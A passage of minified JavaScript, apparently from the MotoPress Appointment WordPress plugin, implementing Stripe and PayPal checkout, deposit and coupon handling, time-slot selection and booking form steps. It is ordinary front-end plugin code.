e=this.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];return!!e.checkValidity()||(e.reportValidity(),!1)}convertToSmallestUnit(e,t){switch(t||(t=C().settings().getCurrency()),t.toUpperCase()){case"BIF":case"CLP":case"DJF":case"GNF":case"JPY":case"KMF":case"KRW":case"MGA":case"PYG":case"RWF":case"UGX":case"VND":case"VUV":case"XAF":case"XOF":case"XPF":e=Math.floor(e);break;default:e=Math.round(100*e)}return e}getFormattedTotalPrice(){const e=this.cart.getOrder();let t=parseFloat(e.total);return this.cart.paymentDetails.deposit&&(t=parseFloat(e.deposit)),this.convertToSmallestUnit(t,C().settings().getCurrency().toLowerCase())}onClickPaymentRequestButton(e){this.isValidAcceptTerms()?this.methods.card.paymentRequest.update({total:{amount:this.getFormattedTotalPrice(),label:h("Total","motopress-appointment"),pending:!1}}):e.preventDefault()}onChange(e){this.haveErrors=!!e.error,this.haveErrors?this.view.showError(e.error.message):this.view.hideErrors()}onCartChange(e){this.isMounted&&0<this.getFormattedTotalPrice()&&0===Object.keys(this.methods).length&&(this.$mountWrapper.empty(),this.mount(this.$mountWrapper))}mount(e){this.ready().then((()=>{this.methods=[],0<this.getFormattedTotalPrice()&&(this.methods=this.createPaymentMethods()),this.view=new je(this.methods),this.view.mount(e),this.addListeners()}))}processPayment(e,t){if(!this.isValid())return Promise.reject(new Error("The payment gateway is not valid."));this.$gatewayPreloader.removeClass("mpa-hide");let s=this.view.selectedMethod,i=jQuery.extend({payment_method:s},this.settings,t),n={error_handler:this.view.showError.bind(this.view)};return this.methods[s].processPayment(e,i,n).then((e=>(this.$gatewayPreloader.addClass("mpa-hide"),e)),(e=>{throw this.$gatewayPreloader.addClass("mpa-hide"),e}))}getDefaults(){return jQuery.extend(super.getDefaults(),{hide_postal_code:!0,locale:"auto",payment_methods:[],public_key:"",style:{}})}createPaymentMethods(){let e=[];const t=Stripe(this.settings.public_key,{apiVersion:"2023-10-16"}),s=t.elements({mode:"payment",locale:this.settings.locale,currency:C().settings().getCurrency().toLowerCase(),amount:this.getFormattedTotalPrice(),payment_method_configuration:this.settings.payment_method_configuration});return this.settings.payment_methods.forEach((i=>{switch(i){case"payment":e.payment=new Ye(t,s,this.settings),e.payment.provideCart(this.cart);break;case"card":e.card=new Qe(t,s,this.settings),e.card.getControl().on("change",this.onChange.bind(this)),e.card.isCanMakePaymentRequest().then((t=>{t&&(e.card.paymentRequest.on("token",(async t=>e.card.processPaymentRequestButton(t))),e.card.paymentRequest.on("cancel",(()=>{e.card.paymentRequestButtonEvent=null})),e.card.paymentRequestButton=e.card.createPaymentRequestButton(),e.card.paymentRequestButton.on("click",this.onClickPaymentRequestButton.bind(this)))}));break;case"sepa_debit":e.sepa_debit=new Ke(t,s,this.settings),e.sepa_debit.getControl().on("change",this.onChange.bind(this));break;case"bancontact":e.bancontact=new Ze(t,s,this.settings);break;case"ideal":e.ideal=new Je(t,s,this.settings);break;case"giropay":e.giropay=new Xe(t,s,this.settings);break;case"sofort":e.sofort=new et(t,s,this.settings)}})),e}reset(){this.methods&&Object.entries(this.methods).forEach((([e,t])=>{t.reset()})),this.view&&this.view.reset()}}class st extends We{setupProperties(){super.setupProperties(),this.gatewayId="paypal"}enable(){super.enable(),this.isEnabled&&this.cart.getTotalPrice()>0&&this.$mountWrapper.closest("form").find(".mpa-button-next").hide()}disable(){super.disable(),this.isEnabled||this.$mountWrapper.closest("form").find(".mpa-button-next").show()}mount(e){let t=this;t.$errorWrapper=e.find(".mpa-paypal-error"),t.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader"),paypal.Buttons({onInit(e,s){if(C().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];e.checkValidity()||s.disable(),e.addEventListener("change",(e=>{e.target.checked?s.enable():s.disable()}))}},onClick:function(e,s){if(C().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];e.checkValidity()||e.reportValidity()}0===t.cart.getTotalPrice()&&(t.paypalDetails={},jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click"))},createOrder:function(e,s){return t.$errorWrapper.addClass("mpa-hide"),t.$gatewayPreloader.removeClass("mpa-hide"),f("/payments/prepare",{payment_details:t.cart.paymentDetails}).then((e=>(t.$gatewayPreloader.addClass("mpa-hide"),e)))},onApprove:function(e,s){return s.order.capture().then((function(e){t.paypalDetails=e,jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click")}))},onCancel:function(e){},onError:function(e){console.log(e),t.$errorWrapper.text(t.settings.paypal_error_message),t.$errorWrapper.removeClass("mpa-hide")}}).render(e.find(".mpa-paypal-container")[0])}processPayment(e,t){return Promise.resolve({paypalDetails:this.paypalDetails})}}class it{static createGateways(e,t){let s={};for(let i of C().settings().getActiveGateways()){let n=e.find(".mpa-"+i+"-payment-gateway .mpa-billing-fields"),a=0!==n.length?it.createGateway(i,n,t):null;null!==a&&(s[i]=a)}return s.free=new Ue({},t),s}static createGateway(e,t,s){switch(e){case"manual":case"test":case"cash":case"bank":return new qe(t,s);case"paypal":return new st(t,s);case"stripe":return new tt(t,s);default:return wp.hooks.applyFilters("mpa_create_gateway",null,e,t,s)}}}class nt extends Ee{setupProperties(){super.setupProperties(),this.lastCartHash="",this.gatewayId="",this.gateways={},this.bookingDetails={},this.$form=this.$element.find(".mpa-checkout-form"),this.$order=this.$element.find(".mpa-order"),this.$billingSection=this.$element.find(".mpa-billing-details"),this.$paymentGateways=this.$billingSection.find(".mpa-payment-gateway"),this.$paymentGatewayButtons=this.$paymentGateways.find('input[name="payment_gateway_id"]'),this.$message=this.$element.find(".mpa-message").first(),this.acceptTerms=!1,this.onlinePayment=!1,this.isDepositDisabled=!1,this.$deposit=this.$element.find(".mpa-deposit-section"),this.$depositSwitcher=this.$element.find('input[name="mpa-deposit-switcher"]'),this.$depositTable=this.$element.find("#mpa-deposit-table"),C().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(".mpa-accept-terms")),this.couponSection=null}theId(){return"payment"}propertiesSchema(){return{gatewayId:{type:"string",default:""},isDepositDisabled:{type:"bool",default:!1},acceptTerms:{type:"bool",default:!1}}}setErrorMessage(e){this.$message.html(e),this.$message.toggleClass("mpa-hide",!e.trim().length)}clearErrorMessage(){this.setErrorMessage("")}hideDeposit(){this.$deposit.addClass("mpa-hide"),this.$depositSwitcher.prop("disabled",!0),this.isDepositDisabled=!0}showDeposit(){this.$deposit.removeClass("mpa-hide"),this.$depositSwitcher.prop("disabled",!1),this.setProperty("isDepositDisabled",this.$depositSwitcher.prop("checked"))}toggleDepositSection(){const e=this.cart.getOrder();parseFloat(e.total)-parseFloat(e.deposit)&&this.onlinePayment?this.showDeposit():this.hideDeposit()}setGatewayId(e,t){this.setProperty("gatewayId",e),this.onlinePayment=parseInt(t),this.toggleDepositSection(),this.cart.setPaymentDetails({gateway_id:this.gatewayId,deposit:!this.isDepositDisabled})}addListeners(){super.addListeners(),this.$form.on("submit",(e=>!1)),this.$paymentGatewayButtons.on("change",(e=>{this.setGatewayId(e.target.value,e.target.dataset.isOnlinePayment)})),C().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on("input",(e=>this.setProperty("acceptTerms",e.target.checked))),this.$depositSwitcher.length>0&&this.$depositSwitcher.on("input",(e=>{this.$depositTable.toggleClass("mpa-hide",e.target.checked),this.setProperty("isDepositDisabled",e.target.checked),this.cart.setPaymentDetails({deposit:!this.isDepositDisabled})})),this.$element.on("mpa_booking_step_disable",this.disable.bind(this)),this.$element.on("mpa_booking_step_enable",this.enable.bind(this)),this.$element.on("mpa_booking_coupon_applied",(()=>{this.notifyCartChanged(),this.updateOrderDetails(),this.cart.setPaymentDetails({coupon_code:this.cart.hasCoupon()?this.cart.coupon.getCode():""})}))}loadEntities(){this.isLoaded||this.$element.removeClass("mpa-hide"),this.lastCartHash=this.cart.getHash("order"),C().settings().isCouponsEnabled()&&(this.couponSection=new He(this.$element.find(".mpa-coupon-details"),this.cart)),this.updateOrderDetails();let e=[];return"free"!==this.gatewayId?e.push(this.loadGateways()):this.loadGateways(),e.push(this.loadDrafts()),Promise.all(e).then((()=>(this.initDefaultGateway(),this)))}reload(){return this.clearErrorMessage(),this.cart.hasCoupon()&&this.cart.testCoupon(),this.couponSection&&(this.cart.hasCoupon()?this.couponSection.clearMessage():this.couponSection.reset()),this.updateOrderDetails(),this.cart.didChange(this.lastCartHash,"order")?(this.lastCartHash=this.cart.getHash("order"),this.notifyCartChanged(),this.loadDrafts()):wp.hooks.applyFilters("mpa_booking_reload_drafts",!1)?this.loadDrafts():Promise.resolve(this)}reset(){C().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop("checked",!1),this.resetProperty("acceptTerms")),this.lastCartHash="";let e=C().settings().getDefaultPaymentGateway();this.$paymentGatewayButtons.filter(":checked").prop("checked",!1),e in this.gateways?(this.setProperty("gatewayId",e),this.$paymentGatewayButtons.filter('[value="'+e+'"]').prop("checked",!0)):this.resetProperty("gatewayId");for(let e in this.gateways)this.gateways[e].reset();this.couponSection&&this.couponSection.reset()}notifyCartChanged(){for(let e in this.gateways)this.gateways[e].onCartChange(this.cart)}updateOrderDetails(){if(this.$order.empty(),this.$order.html(xe(this.cart.getOrder())),this.$depositTable.length>0){const e=function(e){const t=parseFloat(e.total)-parseFloat(e.deposit);let s="";return t>0&&(s+='<table class="widefat">',s+="<tbody>",s+='<tr class="mpa-deposit-title">',s+='<td class="column-title" colspan="2">',s+=h("Deposit","motopress-appointment"),s+="</td>",s+="</tr>",s+='<tr class="mpa-deposit-now">',s+='<th class="column-title">',s+=h("Paying now","motopress-appointment"),s+="</th>",s+='<th class="column-price">',s+=Ae(e.deposit),s+="</th>",s+="</tr>",s+='<tr class="mpa-deposit-left">',s+='<th class="column-title">',s+=h("Left to pay","motopress-appointment"),s+="</th>",s+='<th class="column-price">',s+=Ae(t),s+="</th>",s+="</tr>",s+="</tbody>",s+="</table>"),s}(this.cart.getOrder());this.$depositTable.html(e),this.$paymentGatewayButtons.filter(":checked").length>0&&this.toggleDepositSection()}let e=this.$order.find(".mpa-remove-coupon");e.length>0&&e.on("click",this.removeCoupon.bind(this)),this.toggleAvailablePaymentMethods()}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.cart.setPaymentDetails({coupon_code:""}),this.notifyCartChanged(),this.updateOrderDetails(),this.couponSection.reset()}toggleAvailablePaymentMethods(){const e=0===this.cart.getTotalPrice();if(e)this.setGatewayId("free",!1);else{const e=this.$paymentGatewayButtons.filter(":checked");e.length>0&&this.setGatewayId(e[0].value,e[0].dataset.isOnlinePayment)}this.$billingSection.toggleClass("mpa-hide",e),this.$paymentGatewayButtons.prop("required",!e)}loadGateways(){let e=this.$billingSection.find(".mpa-payment-gateways");this.gateways=it.createGateways(e,this.cart);let t=[];for(let e in this.gateways)t.push(this.gateways[e].load());return t}loadDrafts(){const e={...this.cart.toArray(),payment:!0};return f("/bookings/draft",{...wp.hooks.applyFilters("mpa_booking_draft_data",e),nonce:mpaData.nonces.mpa_create_drafts}).then((e=>{this.bookingDetails={booking_id:e.booking_id,payment_id:e.payment_id};const t={booking_id:e.booking_id,payment_id:e.payment_id};this.cart.setPaymentDetails(t),this.cart.setBookingNonce(e.booking_nonce)}),(e=>{this.setErrorMessage(e.message)})).then((()=>(this.enableGateways(),this)))}enableGateways(){this.$paymentGatewayButtons.prop("disabled",!1)}initDefaultGateway(){let e=this.$paymentGatewayButtons.filter(":checked");e.length>0&&this.gateways[e.val()].enable()}isValidInput(){return this.isValidGatewayId()&&this.isValidGateway()&&this.isValidAcceptTerms()}isValidGatewayId(){return""!==this.gatewayId}isValidGateway(){return!(this.gatewayId in this.gateways)||this.gateways[this.gatewayId].isValid()}isValidAcceptTerms(){return!C().settings().getTermsPageIdForAcceptance()||this.acceptTerms}afterUpdate(e,t,s){s in this.gateways&&this.gateways[s].disable(),t in this.gateways&&this.gateways[t].enable()}react(){super.react(),this.$buttonNext.prop("disabled",!1)}maybeSubmit(){if(this.couponSection&&this.couponSection.disable(),this.gatewayId in this.gateways){let e=this.gateways[this.gatewayId].processPayment(this.cart,this.bookingDetails);return"object"==typeof e&&"function"==typeof e.then&&e.then((e=>(this.cart.setPaymentDetails(e),e)),(e=>{this.setErrorMessage(e.message)})),e}}cancelSubmission(){super.cancelSubmission(),this.couponSection&&this.couponSection.enable()}}class at extends Ee{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash="",this.monthSlots={},this.date="",this.time="",this.datepicker=null,this.$dateWrapper=this.$element.find(".mpa-date-wrapper"),this.$dateInput=this.$element.find(".mpa-date"),this.$timeWrapper=this.$element.find(".mpa-time-wrapper"),this.$times=this.$timeWrapper.find(".mpa-times"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return"period"}getCartContext(){return"cart item"}propertiesSchema(){return{date:{type:"string",default:""},time:{type:"string",default:""}}}addListeners(){super.addListeners(),this.$dateInput.on("change",(e=>this.setProperty("date",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash("availability"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,"availability")?(this.$element.removeClass("mpa-loaded"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash="",this.monthSlots={},this.resetDate()}isValidInput(){return""!=this.date&&""!=this.time}resetDate(){this.resetProperty("date")}resetTime(){this.$times.empty(),this.resetProperty("time")}setEnabledDays(e){Q(e,!0)?this.datepicker.set("enable",["2000-01-01"]):this.datepicker.set("enable",e)}afterUpdate(e,t,s){"date"==e&&(""==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass("mpa-hide",""==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=function(e,t){let s=t.locale||C().settings().getFlatpickrLocale(),i=flatpickr.l10ns[s]||s;"object"==typeof i&&(i.firstDayOfWeek=C().settings().getFirstDayOfWeek());let n={formatDate:E,inline:!0,locale:i,monthSelectorType:"static",showMonths:1};t=jQuery.extend({},n,t);let a=null;return a=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),a}(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:C().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=k(this.date),e.time=new B(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),s=t[0],i=t[1];null===e.employee&&e.setEmployee(s,!1),null===e.location&&e.setLocation(i,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent("mpa_add_to_cart",{detail:{cartItem:e,currencyCode:C().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent("mpa_view_cart",{detail:{cart:this.cart,currencyCode:C().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t);const i=this.monthSlots[s];if(i&&Object.keys(i).length>0){const e=Object.keys(i)[0],t=Object.keys(i[e])[0];this.datepicker.setDate(e,!0);this.$times.children(".mpa-time-period").filter(((e,s)=>s.getAttribute("date-time")===t)).trigger("click"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let s=this.monthSlots[t][this.date];for(let t in s)if(t===this.time){let i=s[t];e[0]=i[0][0],e[1]=i[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass("mpa-loaded");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t),i=null;if(this.monthSlots[s])i=Promise.resolve(this.monthSlots[s]);else{i=function(e,t,s,i){return _("/calendar/time",{service_id:e,employee_in:i.employee_in?i.employee_in.join(","):"",location_in:i.location_in?i.location_in.join(","):"",date_from:E(t,"internal"),date_to:E(s,"internal"),exclude_cart:i.exclude_cart?i.exclude_cart:[]}).catch((e=>console.error("Failed to make time slots in mpa_time_slots().",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([i,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[s]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass("mpa-loaded"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray("items")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let s=0;for(let t in e){let i=new B(t).toString("public",'<span class="mpa-period-end-time"> - ')+"</span>",n=this.cartItem.getService();if(n.isGroupService()){let s=n.getMinCapacity();for(let i of e[t])s=Math.max(s,i[3]);i+=" ",i+='<span class="mpa-slot-capacity">',i+='<span class="mpa-slot-capacity-label">'+n.getQuantityLabel()+":</span>",i+="&nbsp;",i+='<span class="mpa-slot-capacity-number">'+s+"</span>",i+="</span>"}let a=$e(i,{class:"button button-secondary mpa-time-period","date-time":t});this.$times.append(a),s++}s>0?this.$times.children(".mpa-time-period").on("click",(e=>this.onTime(e,e.currentTarget))):this.$times.text(h("Sorry, but we were unable to allocate time slots for the date you selected.","motopress-appointment"))}getMonthKey(e,t){return t<=8?e+"-0"+(t+1):e+"-"+(t+1)}getCurrentMonthKey(){if(""!==this.date){let e=k(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return"2000-01"}onTime(e,t){this.$times.children(".mpa-time-period-selected").removeClass("mpa-time-period-selected"),t.classList.add("mpa-time-period-selected"),this.setProperty("time",t.getAttribute("date-time"))}}class ot extends Ee{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category="",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(".mpa-service-form"),this.$categories=this.$element.find(".mpa-service-category-wrapper"),this.$services=this.$element.find(".mpa-service-wrapper"),this.$employees=this.$element.find(".mpa-employee-wrapper"),this.$locations=this.$element.find(".mpa-location-wrapper"),this.$selects=this.$element.find(".mpa-input-wrapper select"),this.$categoriesSelect=this.$selects.filter(".mpa-service-category"),this.$servicesSelect=this.$selects.filter(".mpa-service"),this.$employeesSelect=this.$selects.filter(".mpa-employee"),this.$locationsSelect=this.$selects.filter(".mpa-location"),this.unselectedServiceText=this.$servicesSelect.children('[value=""]').text(),this.unselectedOptionText=this.$selects.filter(".mpa-optional-select").first().find("option:first").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return"service-form"}getCartContext(){return"cart item"}propertiesSchema(){return{category:{type:"string",default:""},serviceId:{type:"integer",default:0},employeeId:{type:"integer",default:0},locationId:{type:"integer",default:0}}}addListeners(){super.addListeners(),this.$form.on("submit",this.submitForm.bind(this)),this.$categoriesSelect.on("change",(e=>this.setProperty("category",e.target.value))),this.$servicesSelect.on("change",(e=>this.setProperty("serviceId",e.target.value))),this.$employeesSelect.on("change",(e=>this.setProperty("employeeId",e.target.value))),this.$locationsSelect.on("change",(e=>this.setProperty("locationId",e.target.value)))}isHiddenElementByProp(e){const t=e.attr("data-is-hidden");return void 0!==t&&"false"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr("data-default")){const s=this.$categoriesSelect.attr("data-default");this.isValidCategoryBySchema(s)?e=s:t=!1}this.setProperty("category",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass("mpa-hide",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr("data-default")){const s=$(this.$servicesSelect.attr("data-default"));this.isValidServiceBySchema(s)?e=s:t=!1}this.setProperty("serviceId",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass("mpa-hide",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr("data-default")){const s=$(this.$employeesSelect.attr("data-default"));this.isValidEmployeeBySchema(s)?e=s:t=!1}this.setProperty("employeeId",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass("mpa-hide",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr("data-default")){const s=$(this.$locationsSelect.attr("data-default"));this.isValidLocationBySchema(s)?e=s:t=!1}this.setProperty("locationId",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass("mpa-hide",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let s=e[t].attr("data-default");s?this.setProperty(t,s):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map($)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map($)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map($)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,s){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),"category"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty("serviceId"),this.resetProperty("employeeId"),this.resetProperty("locationId"))}}react(){super.react(),this.$categoriesSelect.val(this.category||""),this.$servicesSelect.val(this.serviceId||""),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass("mpa-selected",""!=this.category),this.$servicesSelect.toggleClass("mpa-selected",0!=this.serviceId),this.$employeesSelect.toggleClass("mpa-selected",0!=this.employeeId),this.$locationsSelect.toggleClass("mpa-selected",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop("disabled",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let s;const i=parseInt(this.serviceId,10);if(i>0){const t=this.availabilityService.getServiceCategories(i);s=j(U(e,Object.keys(t)))}else s=null;const n=W(e,t,s),a=this.category||"";Re(this.$categoriesSelect,{"":this.unselectedOptionText},n,a),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.serviceId?"":String(this.serviceId);Re(this.$servicesSelect,{"":this.unselectedServiceText},t,s),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.employeeId?"0":String(this.employeeId);Re(this.$employeesSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.locationId?"0":String(this.locationId);Re(this.$locationsSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}show(){this.$servicesSelect.prop("required",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop("required",!1)}enable(){super.enable(),this.$selects.prop("disabled",!1)}disable(){super.disable(),this.$selects.prop("disabled",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error("Unable to get active cart item in StepServiceForm.maybeSubmit().");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent("mpa_view_item",{detail:{cartItem:e,currencyCode:C().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,"entities")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,"entities"))}}}class rt{constructor(e){this.$element=e,this.$message=this.$element.children(".mpa-message"),this.cart=new Ce,this.steps=new Se(this.cart),this.load()}setupSteps(){this.steps.addStep(new ot(this.$element.find(".mpa-booking-step-service-form"),this.cart)).addStep(new at(this.$element.find(".mpa-booking-step-period"),this.cart)).addStep(new Ne(this.$element.find(".mpa-booking-step-cart"),this.cart)).addStep(new ze(this.$element.find(".mpa-booking-step-checkout"),this.cart)),C().settings().isPaymentsEnabled()&&this.steps.addStep(new nt(this.$element.find(".mpa-booking-step-payment"),this.cart)),this.steps.addStep(new Ie(this.$element.find(".mpa-booking-step-booking"),this.cart)),this.steps.mount(this.$element)}load(){this.cart.createItem();let e=new Z;Promise.all([e.load(),C().settings().ready()]).finally((()=>{this.setupSteps(),this.steps.getStep("service-form").setAvailabilityService(e),this.steps.getStep("period").setAvailabilityService(e),this.show(),e.isEmpty()?(this.$message.html(h("Sorry, there are no services, employees or locations to book.","motopress-appointment")),this.$message.removeClass("mpa-hide")):this.steps.goToNextStep()}))}show(){this.$element.addClass("mpa-loaded")}}function lt(e,t){if(e===t)return!0;if("object"!=typeof e||null===e||"object"!=typeof t||null===t)return!1;let s=Object.keys(e),i=Object.keys(t);if(s.length!==i.length)return!1;for(let n of s)if(!i.includes(n)||!lt(e[n],t[n]))return!1;return!0}const{serverSideRender:pt}=wp,{Component:mt,Fragment:ct}=wp.element,{Disabled:ht,Placeholder:dt,Spinner:ut}=wp.components,{jQuery:gt}=window;const{registerBlockType:yt}=wp.blocks;yt("motopress-appointment/appointment-form",{title:s.__("Appointment Form","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("path",{d:"M0,18v6h24v-6H0z M22,22H2v-2h20V22z"}),wp.element.createElement("path",{d:"M21,7V1h-3V0h-2v1H8V0H6v1H3v6v9h18V7z M5,3h1v1h2V3h8v1h2V3h1v2H5V3z M5,14V7h14v7H5z"}),wp.element.createElement("rect",{x:"7",y:"8",width:"2",height:"2"}),wp.element.createElement("rect",{x:"11",y:"8",width:"2",height:"2"}),wp.element.createElement("rect",{x:"15",y:"8",width:"2",height:"2"}),wp.element.createElement("rect",{x:"7",y:"11",width:"2",height:"2"}),wp.element.createElement("rect",{x:"11",y:"11",width:"2",height:"2"}),wp.element.createElement("rect",{x:"15",y:"11",width:"2",height:"2"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{form_title:{type:"string",default:""},show_category:{type:"boolean",default:!0},show_service:{type:"boolean",default:!0},show_location:{type:"boolean",default:!0},show_employee:{type:"boolean",default:!0},label_category:{type:"string",default:""},label_service:{type:"string",default:""},label_location:{type:"string",default:""},label_employee:{type:"string",default:""},label_unselected:{type:"string",default:""},label_option:{type:"string",default:""},default_category:{type:"string",default:""},default_service:{type:"string",default:""},default_location:{type:"string"